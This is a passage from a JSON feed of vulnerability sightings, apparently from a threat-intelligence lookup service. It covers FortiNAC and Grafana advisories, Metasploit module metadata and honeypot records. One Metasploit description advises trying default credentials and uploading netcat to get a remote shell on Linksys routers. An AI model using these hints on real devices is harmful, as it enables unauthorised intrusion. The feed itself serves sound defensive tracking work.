requests to the tcp/1050 service. Fortinet issued an advisory last week, highlighting the potential risks associated with this vulnerability.\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses\nTo mitigate the impact of this security shortcoming, Fortinet has released updates for various versions of FortiNAC. Users are strongly advised to apply the available patches, which are available for FortiNAC versions 7.2.2, 9.1.10, 9.2.8, and 9.4.3 or later. The impacted versions include FortiNAC 9.4.0 through 9.4.2, 9.2.0 through 9.2.7, 9.1.0 through 9.1.9, and 7.2.0 through 7.2.1. Additionally, Fortinet has also resolved another vulnerability, tracked as CVE-2023-33300, which affected FortiNAC versions 9.4.0 through 9.4.3 and 7.2.0 through 7.2.1. The company has fixed this medium-severity vulnerability in FortiNAC versions 7.2.2 and 9.4.4.\n\nFlorian Hauser from the German cybersecurity firm CODE WHITE is credited with discovering and reporting these vulnerabilities to Fortinet.\n\nThis security alert comes in the wake of an active exploitation of a critical vulnerability that affects FortiOS and FortiProxy, tracked as CVE-2023-27997, with a CVSS score of 9.2. This vulnerability enables remote attackers to execute arbitrary code or commands through specifically crafted requests. Fortinet recently acknowledged that this vulnerability has been exploited in targeted attacks on government, manufacturing, and critical infrastructure sectors. Consequently, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has included it in the Known Exploited Vulnerabilities (KEV) catalog.\nTrending: Exploiting LFI Vulnerabilities Trending: Offensive Security Tool: SSRFPwned\nIt is worth noting that this latest security concern follows Fortinet\u2019s earlier resolution of a severe bug in FortiNAC, identified as CVE-2022-39952, with a CVSS score of 9.8. The bug, which could lead to arbitrary code execution, gained attention after a proof-of-concept (PoC) was made available and subsequently came under active exploitation.\n\nIn a related development, Grafana, a popular software platform, has released patches to address a critical security vulnerability tracked as CVE-2023-3128. This vulnerability, if exploited, allows malicious attackers to bypass authentication and take control of user accounts that rely on Azure Active Directory for authentication. Grafana has warned that successful exploitation of this vulnerability grants the attacker complete control over a user\u2019s account, including access to private customer data and sensitive information.\n\nThese security vulnerabilities serve as critical reminders of the ongoing importance of cy[...]", "creation_timestamp": "2026-09-04T12:00:11.880800Z"}, {"uuid": "1287fecb-4f2d-4e94-8c6c-4b81d8e2ae04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31893", "type": "seen", "source": "https://t.me/hacking_Attack/105906", "content": "Hacking on Medium\nDNS Recursion Leads to DoS Attack\u200a\u2014\u200aCVE-2023\u201331893\n\nhttps://cdn-images-1.medium.com/max/600/1*35JUOtQD8nUUIMjgIKC7lA.png \nCVE Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31893\n\nContinue reading on Medium \u00bb", "creation_timestamp": "2026-09-04T13:00:03.825523Z"}, {"uuid": "6bb98c4d-ea49-432d-89a5-5a7a09bf1190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-3128", "type": "seen", "source": "https://t.me/hacking_Attack/107549", "content": "Black Hat Ethical Hacking\nFortinet Addresses Critical Remote Code Execution Vulnerability in FortiNAC Solution\n\nFortinet Addresses Critical Remote Code Execution Vulnerability in FortiNAC SolutionPost Views: 11 Premium Contenthttps://www.blackhatethicalhacking.com/wp-content/uploads/2022/12/Patreon.png Subscribe to Patreon to watch this episode.\nReading Time: 3 Minutes Fortinet Releases Updates to Address Critical Security Vulnerability in FortiNAC Network Access Control SolutionFortinet has taken swift action to address a critical security vulnerability that affects its FortiNAC network access control solution. Tracked as CVE-2023-33299, this flaw has been rated 9.6 out of 10 in terms of severity on the Common Vulnerability Scoring System (CVSS). The vulnerability is identified as a case of Java untrusted object deserialization.\n\nThe vulnerability, which involves the deserialization of untrusted data in FortiNAC, could potentially allow an unauthenticated user to execute unauthorized code or commands by exploiting specifically crafted requests to the tcp/1050 service. Fortinet issued an advisory last week, highlighting the potential risks associated with this vulnerability.\nSee Also: So you want to be a hacker? Offensive Security, Bug Bounty Courses\nTo mitigate the impact of this security shortcoming, Fortinet has released updates for various versions of FortiNAC. Users are strongly advised to apply the available patches, which are available for FortiNAC versions 7.2.2, 9.1.10, 9.2.8, and 9.4.3 or later. The impacted versions include FortiNAC 9.4.0 through 9.4.2, 9.2.0 through 9.2.7, 9.1.0 through 9.1.9, and 7.2.0 through 7.2.1. Additionally, Fortinet has also resolved another vulnerability, tracked as CVE-2023-33300, which affected FortiNAC versions 9.4.0 through 9.4.3 and 7.2.0 through 7.2.1. The company has fixed this medium-severity vulnerability in FortiNAC versions 7.2.2 and 9.4.4.\n\nFlorian Hauser from the German cybersecurity firm CODE WHITE is credited with discovering and reporting these vulnerabilities to Fortinet.\n\nThis security alert comes in the wake of an active exploitation of a critical vulnerability that affects FortiOS and FortiProxy, tracked as CVE-2023-27997, with a CVSS score of 9.2. This vulnerability enables remote attackers to execute arbitrary code or commands through specifically crafted requests. Fortinet recently acknowledged that this vulnerability has been exploited in targeted attacks on government, manufacturing, and critical infrastructure sectors. Consequently, the U.S. Cybersecurity and Infrastructure Security Agency (CISA) has included it in the Known Exploited Vulnerabilities (KEV) catalog.\nTrending: Exploiting LFI Vulnerabilities Trending: Offensive Security Tool: SSRFPwned\nIt is worth noting that this latest security concern follows Fortinet\u2019s earlier resolution of a severe bug in FortiNAC, identified as CVE-2022-39952, with a CVSS score of 9.8. The bug, which could lead to arbitrary code execution, gained attention after a proof-of-concept (PoC) was made available and subsequently came under active exploitation.\n\nIn a related development, Grafana, a popular software platform, has released patches to address a critical security vulnerability tracked as CVE-2023-3128. This vulnerability, if exploited, allows malicious attackers to bypass authentication and take control of user accounts that rely on Azure Active Directory for authentication. Grafana has warned that successful exploitation of this vulnerability grants the attacker complete control over a user\u2019s account, including access to private customer data and sensitive information.\n\nThese security vulnerabilities serve as critical reminders of the ongoing importance of cy[...]", "creation_timestamp": "2026-09-05T01:00:29.019413Z"}, {"uuid": "468e811a-d395-46c9-b725-7a4b37af7b45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31893", "type": "seen", "source": "https://t.me/hacking_Attack/105906", "content": "Hacking on Medium\nDNS Recursion Leads to DoS Attack\u200a\u2014\u200aCVE-2023\u201331893\n\nhttps://cdn-images-1.medium.com/max/600/1*35JUOtQD8nUUIMjgIKC7lA.png \nCVE Mitre: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-31893\n\nContinue reading on Medium \u00bb", "creation_timestamp": "2026-09-05T01:00:27.724442Z"}, {"uuid": "cb0db1f0-4d01-4830-a38e-cd7086e7667e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31742", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb", "content": "{\"actions\": [], \"aliases\": [], \"arch\": \"\", \"author\": [\"Michael Messner \"], \"autofilter_ports\": [80, 8080, 443, 8000, 8888, 8880, 8008, 3000, 8443], \"autofilter_services\": [\"http\", \"https\"], \"check\": false, \"default_credential\": false, \"description\": \"Some Linksys Routers are vulnerable to OS Command injection.\\n          You will need credentials to the web interface to access the vulnerable part\\n          of the application.\\n          Default credentials are always a good starting point. admin/admin or admin\\n          and blank password could be a first try.\\n          Note: This is a blind OS command injection vulnerability. This means that\\n          you will not see any output of your command. Try a ping command to your\\n          local system and observe the packets with tcpdump (or equivalent) for a first test.\\n\\n          Hint: To get a remote shell you could upload a netcat binary and exec it.\\n          WARNING: this module will overwrite network and DHCP configuration.\", \"disclosure_date\": \"2013-01-18\", \"fullname\": \"auxiliary/admin/http/linksys_wrt54gl_exec\", \"is_install_path\": true, \"mod_time\": \"2026-02-15 20:36:01 +0000\", \"name\": \"Linksys WRT54GL Remote Command Execution\", \"needs_cleanup\": false, \"notes\": {\"Reliability\": [], \"SideEffects\": [\"ioc-in-logs\", \"config-changes\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/auxiliary/admin/http/linksys_wrt54gl_exec.rb\", \"platform\": \"\", \"post_auth\": true, \"rank\": 300, \"ref_name\": \"admin/http/linksys_wrt54gl_exec\", \"references\": [\"CVE-2023-31742\", \"URL-http://www.s3cur1ty.de/m1adv2013-01\", \"URL-http://www.s3cur1ty.de/attacking-linksys-wrt54gl\", \"EDB-24202\", \"BID-57459\", \"OSVDB-89421\"], \"rport\": 80, \"session_types\": false, \"targets\": null, \"type\": \"auxiliary\"}", "creation_timestamp": "2026-09-08T06:46:47.384008Z"}, {"uuid": "c6533174-e34d-45ac-9ae1-1721b2333e18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31902", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/misc/mobile_mouse_rce.rb", "content": "{\"aliases\": [], \"arch\": \"x64, x86\", \"author\": [\"h00die\", \"CHOKRI HAMMEDI\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module utilizes the Mobile Mouse Server by RPA Technologies, Inc protocol\\n          to deploy a payload and run it from the server.  This module will only deploy\\n          a payload if the server is set without a password (default).\\n          Tested against 3.6.0.4, current at the time of module writing\", \"disclosure_date\": \"2022-09-20\", \"fullname\": \"exploit/windows/misc/mobile_mouse_rce\", \"is_install_path\": true, \"mod_time\": \"2025-10-06 17:15:11 +0000\", \"name\": \"Mobile Mouse RCE\", \"needs_cleanup\": true, \"notes\": {\"Reliability\": [\"repeatable-session\"], \"SideEffects\": [\"artifacts-on-disk\"], \"Stability\": [\"crash-safe\"]}, \"path\": \"/modules/exploits/windows/misc/mobile_mouse_rce.rb\", \"platform\": \"Windows\", \"post_auth\": false, \"rank\": 300, \"ref_name\": \"windows/misc/mobile_mouse_rce\", \"references\": [\"CVE-2023-31902\", \"EDB-51010\", \"URL-https://mobilemouse.com/\"], \"rport\": 9099, \"session_types\": false, \"targets\": [\"default\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:52:20.638340Z"}, {"uuid": "43e42264-cb9f-40c8-a588-fe2c5f790b46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-07)", "content": "", "creation_timestamp": "2026-09-08T10:00:09.297120Z"}, {"uuid": "8b8cca6c-fc2c-44ea-97fe-d426ed5493fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-31478", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-09)", "content": "", "creation_timestamp": "2026-09-10T10:15:22.540798Z"}]}